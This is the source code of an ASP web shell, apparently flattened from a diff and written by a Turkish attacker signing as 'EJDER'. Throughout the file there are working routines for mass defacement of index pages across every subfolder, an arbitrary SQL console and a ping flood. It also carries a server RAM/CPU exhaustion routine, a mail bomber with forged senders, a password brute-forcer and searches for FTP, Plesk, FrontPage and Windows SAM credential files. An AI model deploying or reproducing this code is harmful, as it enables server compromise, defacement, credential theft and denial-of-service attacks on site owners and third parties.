!"&downStr&"" + case "jpg","gif" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" �"&downStr&"" + case else + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"" + end select + Next + call hata +end sub + +sub Suruculer + for each drive_ in FSO.Drives + Response.Write "" + Response.Write "" + if drive_.Drivetype=1 then Response.write "  < Disket S�r�c� [" & drive_.DriveLetter & ":]   " + if drive_.Drivetype=2 then Response.write "  ; Sabit Disk [" & drive_.DriveLetter & ":]   " + if drive_.Drivetype=3 then Response.write "  ; ��kar�labilir Disk [" & drive_.DriveLetter & ":]   " + if drive_.Drivetype=4 then Response.write "   Cd-Rom [" & drive_.DriveLetter & ":]   " + Response.Write "" + next + Response.Write "  H Local Path " +end sub + +Sub SurucuInfo + 'Disk Alan�n� G�sterir - Created By FasTBoY ;) + + DriveSpace = Request("dspace") + If Not DriveSpace = "" Then + on error resume next + Set driveObject = FSO.GetDrive(DriveSpace) + D1 = Left((driveObject.FreeSpace/(driveObject.TotalSize*1.0))*100.0, 4) + if err <> 0 then + response.write "

N Disk Haz�r de�il !!!! :( N
" + else + D2 = Left(((driveObject.TotalSize - driveObject.FreeSpace)/(driveObject.TotalSize*1.0))*100.0, 4) + D3 = 100 + D1a = 110 - D1 + D2a = 110 - D2 + D3a = 110 - D3 + Response.Write "
Disk : " & driveObject.DriveLetter & "
 Bo� AlanKullan�lan AlanToplam Alan
 
 Y�zde :"&D1&" %"&D2&" %"&D3&" %
 Boyut : " & FormatNumber(driveObject.FreeSpace / 1048576) & " MB " & FormatNumber(driveObject.TotalSize / 1048576) - FormatNumber(driveObject.FreeSpace / 1048576) & " MB " & FormatNumber(driveObject.TotalSize / 1048576) & " MB



" + end if + Set driveObject = Nothing + End If +end sub + +sub yetkino(str) +response.write "   "&str&" :    " +End Sub +sub yetkiyes(str) +response.write "   "&str&" :    " +end Sub + +sub Yetki + on error resume next + Set f = FSO.GetFolder(FolderPath) + if err<>0 then + yetkino("Okuma") + yetkino("Yazma") + yetkino("Silme") + else + yetkiyes("Okuma") + + on error resume next + Set MyFile = FSO.CreateTextFile(FolderPath & "test.ejder", True) + MyFile.write "Ejder Was Here... =) Yazma - Okuma Testi i�in" + set MyFile = Nothing + if err<>0 then + yetkino("Yazma") + yetkino("Silme") + else + yetkiyes("Yazma") + on error resume next + FSO.DeleteFile FolderPath & "test.ejder",true + if err<>0 then + yetkino("Silme") + else + yetkiyes("Silme") + end if + end if + + end if + set f = nothing +end sub + +Sub olmadi(str) +response.write "
N "&str&" :( N
" +End Sub + +Sub oldu(str) +response.write "
N "&str&" ;) Tebrikler.. by Ejder N
" +End Sub + +Sub tablo12(str) +response.write ""&str&"" +End Sub + +Sub tablo30(str) +response.write ""&str&"" +End Sub + +Sub tablo12L(str) +response.write ""&str&"" +End Sub + +Sub tablo12O(str) +response.write ""&str&"" +End Sub + +sub Hata + if err<>0 then + Response.Write "
Hata : "&err.Description&"
" + end if +end sub + +Function ReadBinaryFile(FileName) + Const adTypeBinary = 1 + Dim BinaryStream + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = adTypeBinary + BinaryStream.Open + BinaryStream.LoadFromFile FileName + ReadBinaryFile = BinaryStream.Read +End Function + +Sub SQL_menu_by_Ejder + response.write "
" + response.write "
" + response.write "
" + response.write "" + tablo30(" SQL �njection Merkezi") + tablo30(" ") + tablo12(" Kullanabilmeniz i�in SQL kou�tlar� bilmeniz gerek !!!
N Aksi Halde ASP DOsya� Kitlenir. Cevap veremez. Server a Zarar verir. N
") + tablo12(" Select ") + tablo12(" Delete ") + tablo12(" Insert ") + tablo12(" Update ") + tablo12(" Di�er ") + tablo12("


") + if ejdersql = "" then + tablo12(" .... ::: Tablolara Geri D�n ::: ....
") + else + tablo12(" .... ::: Tablolara Geri D�n ::: ....
") + end if + response.write "

" + response.write "
...:::::: SQL Komut Yard�m - Kullan�m Klavuzu by EJDER ::::::...

" +end sub + +Sub SQL_by_EJDER(sqlkonum,sqlkomut) + on error resume next + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = sqlkonum + objConn.Open + if err <> 0 then + response.write "

N DataBase ile Ba�lant�n�z Sa�lanamad�� !!! by EJDER :( N


" + else + on error resume next + objRcs.Open sqlkomut,objConn, adOpenKeyset , , adCmdText + if err <> 0 then + response.write "

N SQL �njection Komutunuzda HATA var. ( Biliyorsan KullanMA :) ) by EJDER N


" + else + Response.Write "
" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
   "&objRcs.Fields(i).Name&"   
"&Replace(objRcs.Fields(i).Value,"<","<")&" 

" + end if + end if +end sub + +Sub MSSQL_by_EJDER(sqlkonum,sqlkomut) + on error resume next + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Open sqlkonum + if err <> 0 then + response.write "

N DataBase ile Ba�lant�n�z Sa�lanamad�� !!! by EJDER :( N


" + else + on error resume next + objRcs.Open sqlkomut,objConn, adOpenKeyset , , adCmdText + if err <> 0 then + response.write "

N SQL �njection Komutunuzda HATA var. ( Biliyorsan KullanMA :) ) by EJDER N


" + else + Response.Write "
" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
   "&objRcs.Fields(i).Name&"   
"&objRcs.Fields(i).Value&" 

" + end if + end if +end sub + +sub Tablolama() +on error resume next +if ejdersql = "" then + if sec = "mssql" then + ejdersql = "PROVIDER=SQLOLEDB;DATA SOURCE="&file&";UID="&dbkadi&";PWD="&dbsifre&";DATABASE="&dbname&"" + else + ejdersql = "Driver={MySQL ODBC 3.51 Driver};Server="&file&";Database="&dbname&";Uid="&dbkadi&";Pwd="&dbsifre&"" + end if +end if +Set objConn = Server.CreateObject("ADODB.Connection") +Set objADOX = Server.CreateObject("ADOX.Catalog") +objConn.Open ejdersql +objADOX.ActiveConnection = objConn +if err = 0 then +Response.Write "
Tablolar

" +response.write "" +For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "" + End If +Next +response.write "
4 "&table.Name&"
" +response.write "
" +else +Call MSSQL_Form +yazortaa("

N Server ile ba�lant� Sa�lanamad� !!! girilen De�erler yanl�� .. :( by EJDER N

") +end if +end Sub + +sub MSSQL_Form() +response.write "
" +yazorta(" MY-MS SQL Server Conneciton 1.0 by EJDER ") +response.write "
MsSQL    -    MySQL
Server Ad� & IP :
DB Ad� :
KAd� :
�ifre :
" +yazorta("T�m haklar� Sakl�d�r by EJDER =)") +response.write "
" +end sub + +sub MassCopier(hedef) +on error resume next +Set cloner = fso.GetFile(hacked) +cloner.Copy hedef,true +Set cloner = Nothing +end sub + +sub MassCreater(yer,savsak) +on error resume next +Set savsakcom = FSO.CreateTextFile(yer, True) +savsakcom.write savsak +Set savsakcom = Nothing +end sub + +sub MassAttack2(yer,ej,svk) +if hash3 = "ok" then +yer = yer&"\"&svk +end if +on error resume next + if not islem = "ozel" then + if hash9 = "copy" then + MassCopier(yer&"\index.html") + MassCopier(yer&"\index.htm") + MassCopier(yer&"\index.asp") + MassCopier(yer&"\index.cfm") + MassCopier(yer&"\index.php") + MassCopier(yer&"\default.html") + MassCopier(yer&"\default.htm") + MassCopier(yer&"\default.asp") + MassCopier(yer&"\default.cfm") + MassCopier(yer&"\default.php") + MassCopier(yer&"\Hmei7.htm") + else + Call MassCreater(yer&"\index.html",ej) + Call MassCreater(yer&"\index.htm",ej) + Call MassCreater(yer&"\index.asp",ej) + Call MassCreater(yer&"\index.cfm",ej) + Call MassCreater(yer&"\index.php",ej) + Call MassCreater(yer&"\default.html",ej) + Call MassCreater(yer&"\default.htm",ej) + Call MassCreater(yer&"\default.asp",ej) + Call MassCreater(yer&"\default.cfm",ej) + Call MassCreater(yer&"\default.php",ej) + Call MassCreater(yer&"\Hmei7.htm",ej) + end if + else + if hash9 ="copy" then + MassCopier(yer&"\"&inject1) + else + Call MassCreater(yer&"\"&inject1,ej) + end if + end if + +a = Replace(FilePath&"?konum="&yer&"&Time="&time,"\","/") +If Err.Number = 0 Then + response.write "
"&yer&" OK !!
" +else + response.write "
"&yer&" Noo :( !!
" +end if +Err.Number = 0 +Response.Flush +end sub + +sub MassAttack(yer,ej,svk) +dim fastejder +on error resume next +Set f = FSO.GetFolder(yer) +Set fc = f.SubFolders +For Each f1 In fc + +if hash3 = "ok" then +fastejder = f1.path&"\"&svk +else +fastejder = f1.path +end if + + if not islem = "ozel" then + if hash9 = "copy" then + MassCopier(fastejder&"\index.html") + MassCopier(fastejder&"\index.htm") + MassCopier(fastejder&"\index.asp") + MassCopier(fastejder&"\index.cfm") + MassCopier(fastejder&"\index.php") + MassCopier(fastejder&"\default.html") + MassCopier(fastejder&"\default.htm") + MassCopier(fastejder&"\default.asp") + MassCopier(fastejder&"\default.cfm") + MassCopier(fastejder&"\default.php") + MassCopier(fastejder&"\Hmei7.htm") + else + Call MassCreater(fastejder&"\index.html",ej) + Call MassCreater(fastejder&"\index.htm",ej) + Call MassCreater(fastejder&"\index.asp",ej) + Call MassCreater(fastejder&"\index.cfm",ej) + Call MassCreater(fastejder&"\index.php",ej) + Call MassCreater(fastejder&"\default.html",ej) + Call MassCreater(fastejder&"\default.htm",ej) + Call MassCreater(fastejder&"\default.asp",ej) + Call MassCreater(fastejder&"\default.cfm",ej) + Call MassCreater(fastejder&"\default.php",ej) + Call MassCreater(fastejder&"\Hmei7.htm",ej) + end if + else + if hash9 = "copy" then + MassCopier(fastejder&"\"&inject1) + else + Call MassCreater(fastejder&"\"&inject1,ej) + end if + end if + + a = Replace(FilePath&"?konum="&fastejder&"&Time="&time,"\","/") + If Err.Number = 0 Then + response.write "
"&fastejder&" OK !!
" + else + response.write "
"&fastejder&" Noo :( !!
" + end if + Err.Number = 0 + Response.Flush + + if islem = "brute" then + Call MassAttack(f1.path&"\",ej,svk) + end if +Next +end sub + +Sub tester(yer) + on error resume next + Set f = FSO.GetFolder(yer) + Set fc = f.SubFolders + For Each f1 In fc + + a = Replace(FilePath&"?konum="&f1.path&"&Time="&time,"\","/") + response.write "
"&f1.path&" " + Response.Flush + + Err.Number = 0 + on error resume next + Set f = FSO.GetFolder(f1.path) + if Err.Number <> 0 then + response.write " Oku :  " + else + response.write " Oku :  " + end if + set f = nothing + Err.Number = 0 + Response.Flush + + on error resume next + Set MyFile = FSO.CreateTextFile(f1.path & "test.ejder", True) + MyFile.write " Ejder Was Here... =) " + set MyFile = Nothing + if Err.Number <> 0 then + response.write " Yaz :  " + else + response.write " Yaz :  " + end if + set f = nothing + Err.Number = 0 + Response.Flush + + on error resume next + FSO.DeleteFile f1.path & "test.ejder",true + if Err.Number <> 0 then + response.write " Sil :  " + else + response.write " Sil :  " + end if + set f = nothing + Err.Number = 0 + Response.Flush + + response.write "
" + Response.Flush + + Call tester(f1.path) + + Next +end sub + +Sub arama(yer) +on error resume next + Set f = FSO.GetFolder(yer) + Set fc = f.SubFolders + For Each f1 In fc + + Set f2 = FSO.GetFolder(f1.path) + Set fc2 = f2.Files + For Each f12 In fc2 + + if InStr(Ucase(f12.name),Ucase(hacked)) > 0 then + downStr = "
" + if Ucase(hacked)="MDB" then + Response.Write downStr&" - "&f12.path&" ["&f12.size&"]"&"
" + i=i+1 + else + Response.Write downStr&" ! - "&f12.path&" ["&f12.size&"]"&"

" + i=i+1 + end if + end if + Response.Flush + + next + set f2 = nothing + set fc2 = nothing + + Call arama(f1.path) + + next + set f = nothing + set fc = nothing + +end sub + +Sub Ping_Bomb_Ejder(ejdersite,ejderpings,ejdertimeout,ejderbyte) +'/// by EJDER. �zel mod�ller ekledim =). Ne Mutlu T�RK�M D�YENE. + noattack = 1 + bonus = 0 + If ejderpings = "" Then ejderpings = 4 + If ejderpings = 0 Then ejderpings = 4 + If ejdertimeout = "" Then ejdertimeout = 750 + If InStr(ejdersite,"savsak") > 0 or InStr(ejdersite,"yagmurlu") or InStr(ejdersite,"com.tr") or InStr(ejdersite,"gov.tr") > 0 then noattack = 0 + If InStr(ejdersite,"cyber") > 0 or InStr(ejdersite,"tahri") > 0 or InStr(ejdersite,"hack") > 0 or InStr(ejdersite,"team") > 0 then bonus = 1 + + response.write "" + +End Sub + +Sub Somurgen(filex,urlx) +for i=0 to CInt(filex) +response.write "
"&i&". Robot Ba�land�..
" +response.Write "" +next +End Sub + +Sub Ram_Cpu +on error resume next +response.write "
RAM & CPU FUcker for SERVER by EJDER =) 1.0
" +response.write "

ZARAR verme MEkanizmas� Devrede...
" +response.write "
Durdurmak i�in Pencereyi kapat. Her 2 Saniyede bir 3 program a��l�yor...
" +response.write "
by EJDER
" +response.Write "" +response.Write "" +response.Write "" +response.write "" +response.flush +end Sub + +function TextYarat(intLen) +str="" +Randomize +for i=1 to intLen + str=str & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1) +next +TextYarat=str +end function + +function MailSec() +dim strNewText,i +str="" +Randomize +mail = mail_array(round(rnd()*4)) +uzanti = uzanti_array(round(rnd()*6)) +str = "@"& mail &"."& uzanti +MailSec = str +end function + +function MailKorumasi(mailx) +MailKorumasi = 0 +for i=0 to 9 + If Instr(UCASE(mailx), yasak_array(i)) > 0 Then + MailKorumasi = 1 + end if +next +end function + +Function MailYarat() + MailYarat = TextYarat(8) & MailSec() +end function + +Function TextYarat2() + TextYarat2 = TextYarat(200) +end function + +Function BaslikYarat() + BaslikYarat = TextYarat(10) +end function + +Sub MailBomber_by_Ejder(alicix) +response.cookies("bilesen") = "1" +on error resume next +Set mailObj = Server.CreateObject("CDONTS.NewMail") + mailObj.From = MailYarat() + mailObj.To = alicix + mailObj.Subject = BaslikYarat() + mailObj.Body = TextYarat2() + mailObj.Send +Set mailObj = Nothing +if err <> 0 then + on error resume next + Set mailObj = Server.CreateObject("CDO.Message") + mailObj.From = MailYarat() + mailObj.To = alicix + mailObj.Subject = BaslikYarat() + mailObj.TextBody = TextYarat2() + mailObj.Send + Set mailObj = Nothing + if err <> 0 then + response.cookies("bilesen") = "0" + end if +end if +End Sub + +Sub yazorta(yazx) +response.write "
"&yazx&"
" +End Sub +Sub yazsol(yazx) +response.write "
"&yazx&"
" +End Sub +Sub yazortaa(yazx) +response.write "
"&yazx&"
" +End Sub +Sub yazsoll(yazx) +response.write "
"&yazx&"
" +End Sub + +Function OS() +on error resume next +strComputer = "." +Set objWMI = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") +Set colItems = objWMI.ExecQuery("Select * from Win32_OperatingSystem",,48) +For Each objItem in colItems +VerBig = Left(objItem.Version,3) +Next +Select Case VerBig +Case "5.0" OSystem = "W2K" +Case "5.1" OSystem = "XP" +Case "5.2" OSystem = "Windows 2003" +Case "4.0" OSystem = "NT 4.0**" +Case Else OSystem = "Unknown - probably Win 9x" +End Select +OS = OSystem +End Function + +Sub FolderExistx(yer) +if FSO.FolderExists(yer) then + yazorta("4 1 "&yer&"") +end if +End Sub + +Sub EjderServuRemote() +j=0 +servu = array("C:\Program Files\base.ini","C:\base.ini","C:\Program Files\Serv-U\base.ini","C:\Program Files\Serv-U\ServUAdmin.ini","C:\Program Files\Serv-U\SERV-U.ini","C:\Program Files\Serv-U\ServUDaemon.ini","C:\Program Files\SERV-U.ini","C:\SERV-U.ini","C:\Program Files\ServUDaemon.ini","C:\ServUDaemon.ini","C:\Program Files\WS_FTP.ini","C:\WS_FTP.ini","C:\Program Files\WS_FTP\WS_FTP.ini","C:/Program Files/Gene6 FTP Server/RemoteAdmin/remote.ini","C:/users.txt","D:/users.txt","E:/users.txt") +for i=0 to 16 +if FSO.FileExists(servu(i)) then +downStr = "4?" +yazorta(""&servu(i)&" !"&downStr&"") +j=j+1 +end if +next +if j = 0 then +yazorta("
N Remote olarak Sonu� bulunamad�. Geli�mi� aramay� se�iniz. N ") +end if +servufolder = array("C:\Program Files\Serv-U","C:/Program Files/Gene6 FTP Server/RemoteAdmin","C:/Program Files/Gene6 FTP Server/Accounts/Helm FTP Users/users") +for i=0 to 2 +FolderExistx(servufolder(i)) +next +End Sub + +Sub EjderPleskRemote() +j=0 +plesk = array("c:/Program Files/SWsoft/Plesk/MySQL/Data/mysql","c:/Program Files/SWsoft/Plesk","c:/Program Files/SWsoft/Plesk/MySQL/Data/psa","c:/Program Files/SWsoft/Plesk/Databases/MySQL/Data/mysql","c:\Program Files\swsoft\autsav.sav") +for i=0 to 3 +if FSO.FolderExists(plesk(i)) then +yazorta("4 1"&plesk(i)&"") +j=j+1 +end if +next +if j = 0 then +yazorta("
N "&plesk(0)&" ve "&plesk(1)&" dizinleri bulunamad�. N ") +end if +if FSO.FileExists(plesk(4)) then +downStr = "4?" +yazorta(""&servu(i)&" !"&downStr&"") +else +yazorta("
N Plesk'in Autsav.sav Dosyas� bulunamad�. N ") +end if +End Sub + +Sub EjderSam() + Err.Number=0 + on error resume next + Set MyFile = FSO.CreateTextFile("C:config\test.ejder", True) + MyFile.write " Ejder Was Here... =) " + set MyFile = Nothing + if Err.Number <> 0 then + response.write "
 Yaz :  " + else + response.write "
 Yaz :  " + end if + Err.Number=0 + on error resume next + FSO.DeleteFile "C:config\test.ejder",true + if Err.Number <> 0 then + response.write " Sil :  
" + else + response.write " Sil :  
" + end if + on error resume next + url = "C:config\" + Set f = FSO.GetFolder(url) + if err <> 0 then + url = "C:\WINDOWS\system32\config\" + Set f = FSO.GetFolder(url) + end if + + Set fc = f.Files + For Each f1 In fc + downStr = "4?" + yazorta(""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" !"&downStr&"") + Next +end Sub + +Sub EjderVti_Pvt() + j=0 + local = request.servervariables("APPL_PHYSICAL_PATH") + vti = array(""&local&"\_vti_pvt\access.cnf",""&local&"\..\_vti_pvt\access.cnf",""&local&"\..\..\_vti_pvt\access.cnf",""&local&"\..\..\..\_vti_pvt\access.cnf",""&local&"\_vti_pvt\postinfo.html",""&local&"\..\_vti_pvt\postinfo.html",""&local&"\..\..\_vti_pvt\postinfo.html",""&local&"\..\..\..\_vti_pvt\postinfo.html",""&local&"\vti_pvt/service.pwd",""&local&"\..\vti_pvt/service.pwd",""&local&"\..\..\vti_pvt/service.pwd",""&local&"\..\..\..\vti_pvt/service.pwd",""&local&"/vti_pvt/users.pwd",""&local&"/../vti_pvt/users.pwd",""&local&"/../../vti_pvt/users.pwd",""&local&"/../../../vti_pvt/users.pwd",""&local&"/vti_pvt/authors.pwd",""&local&"/../vti_pvt/authors.pwd",""&local&"/../../vti_pvt/authors.pwd",""&local&"/../../../vti_pvt/authors.pwd") + for i=0 to 19 + if FSO.FileExists(vti(i)) then + downStr = "4?" + yazorta(""&vti(i)&" !"&downStr&"") + j=j+1 + end if + next + if j = 0 then + yazorta("
N Sonu� bulunamad�. Daha geni� Arama yap�n by EJDER N ") + end if +end sub + +Sub EjderNTUser(oturum) + j=0 + ntuser = array("c:\documents and settings\"&oturum&"\NTUSER.DAT","c:\documents and settings\Administrator\NTUSER.DAT","c:\documents and settings\"&oturum&"\ntuser.dat.log","c:\documents and settings\Administrator\ntuser.dat.log","c:\documents and settings\"&oturum&"\ntuser.ini","c:\documents and settings\Administrator\ntuser.ini") + for i=0 to 5 + if FSO.FileExists(ntuser(i)) then + downStr = "4?" + yazorta(""&ntuser(i)&" !"&downStr&"") + j=j+1 + end if + next + if j = 0 then + yazorta("
N Sonu� bulunamad�. Daha geni� Arama yap�n by EJDER N ") + end if +end sub + +Sub EjderRepair() + Err.Number=0 + on error resume next + Set MyFile = FSO.CreateTextFile("c:..\repair\test.ejder", True) + MyFile.write " Ejder Was Here... =) " + set MyFile = Nothing + if Err.Number <> 0 then + response.write "
 Yaz :  " + else + response.write "
 Yaz :  " + end if + Err.Number=0 + on error resume next + FSO.DeleteFile "c:..\repair\test.ejder",true + if Err.Number <> 0 then + response.write " Sil :  
" + else + response.write " Sil :  
" + end if + on error resume next + url = "c:..\repair\" + Set f = FSO.GetFolder(url) + if err <> 0 then + url = "C:\WINDOWS\repair\" + Set f = FSO.GetFolder(url) + end if + + Set fc = f.Files + For Each f1 In fc + downStr = "4?" + yazorta(""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" !"&downStr&"") + Next +end Sub + +Function kodolustur(aralik) +' belirtitiim aral�kda kod olu�tuuyorurum. 01#01#01#01# ba�lang�� ii�in by EJDER + dim coding + coding = "" + for i=1 to CInt(aralik) + coding = coding + "01#" + next + kodolustur = coding +End Function + +Function diziolustur() +' Se�ilen Charset leri burda birle�tiriyorum by EJDER + Dim dizi + dizi="" + if not k1 = "" then dizi = dizi & karakter1 + if not k2 = "" then dizi = dizi & karakter2 + if not k3 = "" then dizi = dizi & karakter3 + if not k4 = "" then dizi = dizi & karakter4 + diziolustur = dizi +End Function + +Function Sifreyarat(codex,aralik,dizix) +' Stirng kodunu sa�dan ��z�mleyerek �ifre yarat�yor by Ej;DER + dim hash + dim sifre + hash="" + sifre="" + i=CInt(aralik) + Do While i>0 + hash = CInt(Mid(codex,((i-1)*3)+1,2)) ' Sa�dan say�lar� al�yor. + sifre = Mid(dizix,hash,1) & sifre + i=i-1 + Loop + Sifreyarat = sifre +End Function + +Function SonrakiAdim(codex,aralik,dizix) +' sonraki ad�ma haz�rl�k coded by EJDER ;) +Dim hash +hash = "" +increment=0 +goup=0 +hashing = "" +i=CInt(aralik) +Do While i>0 +hash = CInt(Mid(codex,((i-1)*3)+1,2)) ' Sa�dan say�lar� al�yor. +' Carry out � di�eirne giri� yap increment the next one +if hash => Len(dizix) then + increment = 1 + hash = 1 +else if increment = 1 then + hash = hash+1 + increment = 0 +end if +end if +' e�er ara1 hanelki �ifreleme bitti ise di�eirne �kams� gerek ara1++ +if i = 1 AND hash>= Len(dizix)-1 then goup=1 +' Brute biti�ini g�steriiyorum. +if i = CInt(aralik) AND hash>= Len(dizix) AND ara1 = ara2 then getend=1 ''' BRUTE ��k��� bitti�ini anal�yorumm GETEND =1 !!!!!!!!!!!!! +' hash i bir sonraki ad�ma haz�rla +if i = CInt(aralik) then hash = hash + 1 +'yeni hash numaras� olu�tur +if hash <10 then hash = "0" & hash +hashing = hash &"#" & hashing +i=i-1 +Loop +coding = hashing +' e�erki goup =1 then hane atla ve yeni stireg ol�utur +if goup = 1 then + coding = "" + ara1 = CInt(aralik) + 1 + for j=1 to ara1 + coding = coding + "01#" + next +end if +SonrakiAdim = coding +End Function + +Sub Cookyaz(str1,str2,str3) + if not str3 = "" then + response.cookies(str1)("str2") = str3 + response.cookies(str1).expires = now+100 + session("say") = CInt(session("say")) + 1 + end if +End Sub +Sub HashFounded(str1,str2) + if not request.cookies(str1)("sifre") = "" then + yazsol("Bulundu: "&request.cookies(str1)(str2)&" ->> "&request.cookies(str1)("sifre")&" ") + inject3 = CInt(inject3) + 1 + end if +End Sub +Sub hashyes(str1,str2,md5x,pwd) + if not request.cookies(str1)(str2) = "" AND UCASE(request.cookies(str1)(str2)) = md5x then + yazsol("BULDUuuuuuuuuuuuuuuu " & pwd & " - " & request.cookies(str1)(str2)&"") + response.cookies(str1)("sifre") = pwd + end if +End Sub +Sub gelgit + 'response.Write "" + response.write indonesia("q/4m ($zm}:#7m4" & chr(34) & "8s") +End sub +'************************* ZORUNLU UPLOAD i�in GEREKLi =(( ********************************************************************************************** +Class clsUpload + Private mbinData + Private mlngChunkIndex + Private mlngBytesReceived + Private mstrDelimiter + Private CR + Private LF + Private CRLF + Private mobjFieldAry() + Private mlngCount + + Private Sub RequestData + Dim llngLength + mlngBytesReceived = Request.TotalBytes + mbinData = Request.BinaryRead(mlngBytesReceived) + End Sub + + Private Sub ParseDelimiter() + mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) + End Sub + + Private Sub ParseData() + Dim llngStart + Dim llngLength + Dim llngEnd + Dim lbinChunk + llngStart = 1 + llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) + While Not llngStart = 0 + llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 + llngLength = llngEnd - llngStart + lbinChunk = MidB(mbinData, llngStart, llngLength) + Call ParseChunk(lbinChunk) + llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) + Wend + End Sub + + Private Sub ParseChunk(ByRef pbinChunk) + Dim lstrName + Dim lstrFileName + Dim lstrContentType + Dim lbinData + Dim lstrDisposition + Dim lstrValue + lstrDisposition = ParseDisposition(pbinChunk) + lstrName = ParseName(lstrDisposition) + lstrFileName = ParseFileName(lstrDisposition) + lstrContentType = ParseContentType(pbinChunk) + If lstrContentType = "" Then + lstrValue = CStrU(ParseBinaryData(pbinChunk)) + Else + lbinData = ParseBinaryData(pbinChunk) + End If + Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) + End Sub + + Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) + Dim lobjField + ReDim Preserve mobjFieldAry(mlngCount) + Set lobjField = New clsField + lobjField.Name = pstrName + lobjField.FilePath = pstrFileName + lobjField.ContentType = pstrContentType + If LenB(pbinData) = 0 Then + lobjField.BinaryData = ChrB(0) + lobjField.Value = pstrValue + lobjField.Length = Len(pstrValue) + Else + lobjField.BinaryData = pbinData + lobjField.Length = LenB(pbinData) + lobjField.Value = "" + End If + Set mobjFieldAry(mlngCount) = lobjField + mlngCount = mlngCount + 1 + End Sub + + Private Function ParseBinaryData(ByRef pbinChunk) + Dim llngStart + llngStart = InStrB(1, pbinChunk, CRLF & CRLF) + If llngStart = 0 Then Exit Function + llngStart = llngStart + 4 + ParseBinaryData = MidB(pbinChunk, llngStart) + End Function + + Private Function ParseContentType(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 15, pbinChunk, CR) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 15 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) + End Function + + Private Function ParseDisposition(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 22 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) + End Function + + Private Function ParseName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 6, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 6 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseName = Mid(pstrDisposition, llngStart, llngLength) + End Function + + Private Function ParseFileName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 10, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 10 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseFileName = Mid(pstrDisposition, llngStart, llngLength) + End Function + + Public Property Get Count() + Count = mlngCount + End Property + + Public Default Property Get Fields(ByVal pstrName) + Dim llngIndex + If IsNumeric(pstrName) Then + llngIndex = CLng(pstrName) + If llngIndex > mlngCount - 1 Or llngIndex < 0 Then + Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") + Exit Property + End If + Set Fields = mobjFieldAry(pstrName) + Else + pstrName = LCase(pstrname) + For llngIndex = 0 To mlngCount - 1 + If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then + Set Fields = mobjFieldAry(llngIndex) + Exit Property + End If + Next + End If + Set Fields = New clsField + End Property + + Private Sub Class_Terminate() + Dim llngIndex + For llngIndex = 0 To mlngCount - 1 + Set mobjFieldAry(llngIndex) = Nothing + + Next + ReDim mobjFieldAry(-1) + End Sub + + Private Sub Class_Initialize() + ReDim mobjFieldAry(-1) + CR = ChrB(Asc(vbCr)) + LF = ChrB(Asc(vbLf)) + CRLF = CR & LF + mlngCount = 0 + Call RequestData + Call ParseDelimiter() + Call ParseData + End Sub + + Private Function CStrU(ByRef pstrANSI) + Dim llngLength + Dim llngIndex + llngLength = LenB(pstrANSI) + For llngIndex = 1 To llngLength + CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) + Next + End Function + + Private Function CStrB(ByRef pstrUnicode) + Dim llngLength + Dim llngIndex + llngLength = Len(pstrUnicode) + For llngIndex = 1 To llngLength + CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) + Next + End Function +End Class + +Class clsField + Public Name + Private mstrPath + Public FileDir + Public FileExt + Public FileName + Public ContentType + Public Value + Public BinaryData + Public Length + Private mstrText + + Public Property Get BLOB() + BLOB = BinaryData + End Property + + Public Function BinaryAsText() + 